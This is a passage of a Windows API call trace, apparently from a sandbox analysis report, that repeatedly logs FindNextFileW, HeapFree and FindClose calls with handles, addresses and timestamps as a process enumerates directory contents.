hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.651] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.652] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.652] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.654] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.654] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.655] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.655] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.657] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.657] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.658] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.658] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.659] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.659] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.661] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.661] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.662] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.662] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.664] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.664] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.665] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.665] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.666] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.666] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.668] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.668] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.797] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.797] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.799] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.799] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.800] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.800] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.802] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.802] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.803] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.803] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.805] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.805] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.806] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.806] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.808] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.808] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.809] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.810] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.811] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.811] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.813] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.813] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.815] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.815] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.817] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.817] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.818] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.818] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.924] HeapFree (hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28) [0048.924] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.924] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.925] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.925] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0048.925] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0048.925] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0048.925] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0048.927] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.927] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.933] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.933] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0048.935] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0048.935] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.002] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.002] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.469] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0049.469] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.471] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.471] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.473] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.473] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.477] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.477] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.477] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.477] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.479] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.480] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.481] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.481] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.483] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.483] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.485] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.485] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.487] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.487] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.489] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.489] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.491] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.491] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.493] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.493] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.494] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.494] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.497] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.497] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.499] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.499] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.500] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.500] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.502] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.502] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.504] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.504] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.506] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.506] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.507] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.507] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.509] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.509] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.960] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0049.962] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.964] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.964] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.966] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.966] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.968] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.968] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.970] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.970] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.972] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.972] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.972] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.972] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.972] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.972] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.972] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.973] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.973] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.974] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.974] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.974] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.974] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.974] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.974] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.974] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.974] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.975] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.975] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.976] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.976] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.984] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.984] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.985] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.985] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.985] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.985] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.985] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.985] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.985] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.986] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.986] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.986] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.986] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.986] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.987] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.987] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0049.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0049.987] FindNextFileW (in: hFindFile=0x42800c0, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0049.987] FindClose (in: hFindFile=0x42800c0 | out: hFindFile=0x42800c0) returned 1 [0049.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.987] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.989] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.991] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.991] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.992] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.992] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.994] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.994] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.996] HeapFree (in: hHeap=0x690000, 